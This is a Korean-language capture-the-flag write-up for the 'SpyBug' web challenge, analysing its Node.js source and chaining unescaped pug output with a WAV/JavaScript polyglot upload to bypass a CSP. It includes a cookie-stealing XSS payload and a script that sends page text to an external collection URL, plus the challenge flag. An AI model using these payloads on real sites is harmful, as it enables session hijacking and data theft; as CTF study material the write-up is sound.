CTF/Cyber Apocalypse 2023

[Study] Cyber Apocalypse 2023 SpyBug Writeup

Vardy 2023. 3. 23. 23:57

주어진 페이지에 접근하면 로그인 페이지가 나타난다.

그 외 별다른 기능이 없는것같아서 주어진 소스코드를 분석해보았다.

 

adminbot.js 라는 흥미로운 파일이 있어서 먼저 분석하여 봇의 행동을 파악 해보았다.

//adminbot.js
require("dotenv").config();

const puppeteer = require("puppeteer");

const browserOptions = {
  headless: true,
  executablePath: "/usr/bin/chromium-browser",
  args: [
    "--no-sandbox",
    "--disable-background-networking",
    "--disable-default-apps",
    "--disable-extensions",
    "--disable-gpu",
    "--disable-sync",
    "--disable-translate",
    "--hide-scrollbars",
    "--metrics-recording-only",
    "--mute-audio",
    "--no-first-run",
    "--safebrowsing-disable-auto-update",
    "--js-flags=--noexpose_wasm,--jitless",
  ],
};

exports.visitPanel = async () => {
  try {
    console.log("[*] admin bot started")
    const browser = await puppeteer.launch(browserOptions);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });

    await page.type("#username", "admin");
    await page.type("#password", process.env.ADMIN_SECRET);
    await page.click("#loginButton");

    await page.waitForTimeout(5000);
    await browser.close();
  } catch (e) {
    console.log(e);
  }
};

브라우저를 열고 로그인 페이지에 접근하여 2초동안 대기 후(5초 동안 응답이 없으면 종료) 로그인을 수행한 후, 5초 대기 후 브라우저를 종료한다.

 

봇이 로그인 한 후 어떤 화면을 보게 될지 분석해보자.

//panel.js
const express = require("express");
const router = express.Router();

const {
  checkUserLogin,
  getAgents,
  getRecordings,
} = require("./../utils/database");

const authUser = require("../middleware/authuser");

router.get("/panel", authUser, async (req, res) => {
  res.render("panel", {
    username:
      req.session.username === "admin"
        ? process.env.FLAG
        : req.session.username,
    agents: await getAgents(),
    recordings: await getRecordings(),
  });
});

router.get("/panel/logout", authUser, (req, res) => {
  req.session.destroy();
  res.redirect("/panel/login");
});

router.get("/panel/login", (req, res) => {
  res.render("login");
});

router.post("/panel/login", async (req, res) => {
  let username = req.body.username;
  let password = req.body.password;

  if (!(username && password)) return res.sendStatus(400);
  if (!(await checkUserLogin(username, password)))
    return res.redirect("/panel/login");

  req.session.loggedin = true;
  req.session.username = username;

  res.redirect("/panel");
});

module.exports = router;

/panel/login 부분을 보면 로그인 성공 시 /panel 로 리다이렉트를 시킨다.

/panel 에서는 admin으로 로그인 시 username으로 FLAG가 정의되며, getAgents(), getRecordings()이 수행된다.

 

뒤 두 메소드가 정의되어 있는 database.js를 분석해보자.

const bcrypt = require("bcryptjs");
const { v4: uuidv4 } = require("uuid");

const db = require("./../models");
const Op = db.Sequelize.Op;

exports.createAdmin = async () => {
  await db.User.sync();
  await db.User.create({
    username: "admin",
    password: bcrypt.hashSync(process.env.ADMIN_SECRET),
  });
};

exports.checkUserLogin = async (username, password) => {
  const results = await db.User.findOne({
    where: {
      username: username,
    },
  });

  if (!results) return false;

  if (!bcrypt.compareSync(password, results.password)) return false;

  return true;
};

exports.registerAgent = async () => {
  const agentId = uuidv4();
  const agentToken = uuidv4();

  const options = {
    identifier: agentId,
    token: agentToken,
  };

  await db.Agent.create(options);

  return options;
};

exports.checkAgentLogin = async (agentId, agentToken) => {
  const results = await db.Agent.findOne({
    where: {
      [Op.and]: [{ identifier: agentId }, { token: agentToken }],
    },
  });

  if (!results) return false;

  return true;
};

exports.updateAgentDetails = async (agentId, hostname, platform, arch) => {
  console.log("[*] database/updateAgentDetails started!")
  console.log(agentId)
  console.log(hostname)
  console.log(platform)
  console.log(arch)
  console.log("******************************")
  await db.Agent.update(
    {
      hostname: hostname,
      platform: platform,
      arch: arch,
    },
    {
      where: {
        identifier: agentId,
      },
    }
  );
};

exports.getAgents = async () => {
  const results = await db.Agent.findAll();

  if (!results) return false;

  return results;
};

exports.createRecording = async (agentId, filepath) => {
  console.log("[*] createRecoding started : ")
    console.log(agentId)
    console.log(filepath)
    console.log("*****************")
  await db.Recording.create({
    agentId: agentId,
    filepath: "/uploads/" + filepath,
  });
};

exports.getRecordings = async () => {
  const results = await db.Recording.findAll();

  if (!results) return false;

  return results;
};

각각 모든 agents 와 recordings 를 불러오는 듯 하다. 참고로 각각의 형태는 아래와 같다.

// Agents
module.exports = (sequelize, Sequelize) => {
  const Agent = sequelize.define("agent", {
    identifier: {
      type: Sequelize.STRING,
      allowNull: false,
    },
    token: {
      type: Sequelize.STRING,
      allowNull: false,
    },
    hostname: {
      type: Sequelize.STRING,
      allowNull: true,
    },
    platform: {
      type: Sequelize.STRING,
      allowNull: true,
    },
    arch: {
      type: Sequelize.STRING,
      allowNull: true,
    },
  });
  return Agent;
};

//Recordings
module.exports = (sequelize, Sequelize) => {
  const Recording = sequelize.define("recording", {
    filepath: {
      type: Sequelize.STRING,
      allowNull: false,
    },
    agentId: {
      type: Sequelize.STRING,
      allowNull: false,
    },
  });
  return Recording;
};

정리하면, admin은 브라우저를 열어서 로그인 페이지를 거쳐 로그인을 한다. 로그인을 하면 admin 권한으로 인해서 모든 agents와 recordings를 조회한다.

그 과정에서 panel이 어떻게 렌더링되는지 views/panel.pug 파일을 보면 agents의 정보가 !{~~} 형식으로 읽힘을 알 수 있다.

.pug 는 템플릿 형식의 일종이고, !{} 형태로 쓰이면 HTML 이스케이프가 되지 않아 XSS에 취약 할 수 있다.

(#{} 방식을 사용해야 한다.) 

// panel.pug
doctype html
head
	title Spybug | Panel
	include head.pug
body
	div.container.login.mt-5.mb-5
		div.row
			div.col-md-10
				h1
					i.las.la-satellite-dish
					|  Spybug v1
			div.col-md-2.float-right
				a.btn.login-btn.mt-3(href="/panel/logout") Log-out
		hr 
		h2 #{"Welcome back " + username}
		hr
		h3
			i.las.la-laptop
			|  Agents
		if agents.length > 0
			table.w-100
				thead
					tr
					th ID
					th Hostname
					th Platform
					th Arch
				tbody
					each agent in agents
						tr
							td= agent.identifier
                            // ######################################## XSS
							td !{agent.hostname}
							td !{agent.platform}
							td !{agent.arch}
		else
			h2 No agents

		...

 

따라서, XSS 공격을 염두해두고 더 분석을 해보았다.

 

해당 문제에는 특이하게 go언어로 작성된 spybug-agent.go 파일이 주어진다. 해당 파일의 행위를 요약하면

spybug.conf라는 파일에서 agents 의 id와 token을 읽어(혹은 가입하여) agent의 정보(hostname, platform, arch 등)을 업데이트 후 .wav파일을 업로드한다.

 

처음에는 agent의 정보를 업데이트하는 기능을 활용하여 XSS를 시도하려고 했다. 예를들어 hostname이

<img src=# onerror=fetch('공격자URL'+document.cookie)>

가 되도록 하면 admin이 로그인 후 /panel을 조회하면서 XSS가 발생하여 세션을 탈취 할 수 있을 것이다.

 

하지만 로컬에서 테스트해보니 실패했는데, 그 원인은 아래와 같이 index.js에서 CSP가 script-src 'self' 로 선언되어있었기 때문이다.

//index.js

require("dotenv").config();

const fs = require("fs");
const path = require("path");
const express = require("express");
const session = require("express-session");

const { createAdmin } = require("./utils/database");
const { visitPanel } = require("./utils/adminbot");

const genericRoutes = require("./routes/generic");
const panelRoutes = require("./routes/panel");
const agentRoutes = require("./routes/agents");

const application = express();

const uploadsPath = path.join(__dirname, "uploads");

if (!fs.existsSync(uploadsPath)) fs.mkdirSync(uploadsPath);

application.use("/uploads", express.static(uploadsPath));
application.use("/static", express.static(path.join(__dirname, "static")));

application.use(express.urlencoded({ extended: true }));
application.use(express.json());

application.use(
  session({
    secret: process.env.SESSION_SECRET,
    resave: true,
    saveUninitialized: true,
  })
);

application.use((req, res, next) => {
  // ******************************************************************
  res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
  // ******************************************************************
  res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
  res.setHeader("Pragma", "no-cache");
  res.setHeader("Expires", "0");
  next();
});

application.set("view engine", "pug");

application.use(genericRoutes);
application.use(panelRoutes);
application.use(agentRoutes);

application.listen(process.env.API_PORT, "0.0.0.0", async () => {
  console.log(`Listening on port ${process.env.API_PORT}`);
});

createAdmin();

//// 1분마다 adminbot 실행
setInterval(visitPanel, 60000);

 

agent의 또 하나의 기능인 파일 업로드 부분을 분석해보자.

//agents.js

const fs = require("fs");
const path = require("path");
const { v4: uuidv4 } = require("uuid");

const express = require("express");
const router = express.Router();

const multer = require("multer");

const {
  registerAgent,
  updateAgentDetails,
  createRecording,
} = require("./../utils/database");

const authAgent = require("../middleware/authagent");

const storage = multer.diskStorage({
  filename: (req, file, cb) => {
    cb(null, uuidv4());
  },
  destination: (req, file, cb) => {
    cb(null, "./uploads");
  },
});

const multerUpload = multer({ // ********************************** (1)
  storage: storage,
  fileFilter: (req, file, cb) => {
    console.log("[*] multerUpload started!")
    console.log(file.mimetype)
    console.log(file.originalname)
    console.log("***************************")
    if (
      file.mimetype === "audio/wave" &&
      path.extname(file.originalname) === ".wav"
    ) {
      cb(null, true);
    } else {
      return cb(null, false);
    }
  },
});

router.get("/agents/register", async (req, res) => {
  console.log("[*] agent/register visited!")
  res.status(200).json(await registerAgent());
});

router.get("/agents/check/:identifier/:token", authAgent, (req, res) => {
  console.log("[*] agent/check visited!")
  res.sendStatus(200);
});

router.post(
  "/agents/details/:identifier/:token",
  authAgent,
  async (req, res) => {
    const { hostname, platform, arch } = req.body;
    if (!hostname || !platform || !arch) return res.sendStatus(400);
    await updateAgentDetails(req.params.identifier, hostname, platform, arch);
    res.sendStatus(200);
  }
);

router.post(
  "/agents/upload/:identifier/:token",
  authAgent,
  multerUpload.single("recording"), // ********************************* (1)
  async (req, res) => {
    console.log("[*] upload started?!")
    console.log("req file is..")
    //console.log(req)
    console.log(req.file)
    console.log("***********************************")
    if (!req.file) {
      console.log("[*] req.file false..")
      return res.sendStatus(400);
    }

    const filepath = path.join("./uploads/", req.file.filename);
    console.log("[*] filepath : ")
    console.log(filepath)
    console.log("*****************")
    const buffer = fs.readFileSync(filepath).toString("hex");
    console.log("[*] buffer : ")
    console.log(buffer)
    console.log("*****************")

    if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) { // ******** (2)
      fs.unlinkSync(filepath);
      return res.sendStatus(400);
    }

    await createRecording(req.params.identifier, req.file.filename);
    
    res.send(req.file.filename);
  }
);

module.exports = router;

(1) mime type 이 audio/wave이며 파일 확장자가 .wav여야 함

(2) 버퍼를 toString("hex") 한 값이 정규식을 만족해야함(.wav파일의 시그니쳐 값을 검사. RIFF~~WAVE )

 

위 두 조건을 만족하면 파일업로드가 성공하는데, 정확하게 어떻게 구동되는지 파악하기 위해 로컬에서 디버깅을 해봤다.

조건을 만족하면 임의의 값으로 재정의된 파일명으로 uploads/ 경로에 저장되고, 재정의된 파일명을 response 해주는 듯 했다.

 

파일 업로드하는 과정에서 검증이 잘 되어있어 webshell파일 업로드는 힘들어보였지만, 파일명이 재정의될때 확장자 정보가 빠진다는 점을 이용하여 시나리오를 구성해보았다.

 

1.  플래그(admin으로 로그인 시 username으로 플래그가 정의되어 화면에 표기됨)를 읽는 스크립트 작성

2. 파일 검증을 만족하는 스크립트 파일 구성

 2-1. 파일명은 ~.wav(audio/wave 타입 유지)

 2-2. 스크립트에 시그니쳐 값 포함

3. 해당 파일을 업로드하여 response로 파일명 확인

4. agent가 register 후 정보 업데이트를 할때 <script src='/uploads/파일명'></script> 로 작성

5. admin이 panel에 접근하면서 스크립트 실행(로컬 경로 기반이므로 CSP의 영향을 받지 않음)

 

우선 주어진 rec.wav 파일의 원본을 주석처리 후 페이지 내 모든 Element값을 조사하여 플래그 형식과 매칭되는 값을 공격자 서버로 전송하는 스크립트 작성

.wav파일 전체 주석 시 RIFF와 WAVE사이 값의 길이가 8을 넘어가는 경우가 있으므로, RIFFABCDWAVE 로 하드코딩해주는것이 편하다.

const regex = /HTB{[^}]+}/g;
const url = 'https://eoo3yq7o4s41lui.m.pipedream.net/';


const urls = [];
const elements = document.getElementsByTagName('*');
for (let i = 0; i < elements.length; i++) {
  const element = elements[i];
  const elementText = element.textContent || element.innerText || '';
  const matches = elementText.match(regex);
  if (matches) {
    for (let j = 0; j < matches.length; j++) {
      const match = matches[j];
      urls.push(url + match);
    }
  }
}

// urls에 있는 모든 url에 fetch 요청 보내기
urls.forEach((url) => {
    console.log(url)
    fetch(url)
})

 

해당 파일 업로드

 

agent에서 스크립트 src 설정

 

adminbot이 /panel 접근하여 스크립트가 실행되어 공격자 서버로 플래그 값 전송

위와 같이 설정한 시나리오가 유효하여 플래그를 획득 할 수 있었다.

 * 시간이 조금만 더 있었으면 대회 기간 내 풀 수 있었을텐데 아쉬웠다.

(이상하게 go파일 agent로 파일 업로드를 시도하면 서버에서 mime type을 잘 못 읽어 파일업로드가 되지 않았다.. 그러다가 혹시나 해서 insomnia로 해보니까 되었는데.. 이 부분에서 시간을 많이 소모했다.)

 

FLAG = HTB{p01yg10t5_4nd_35p10n4g3}

 

 

 

반응형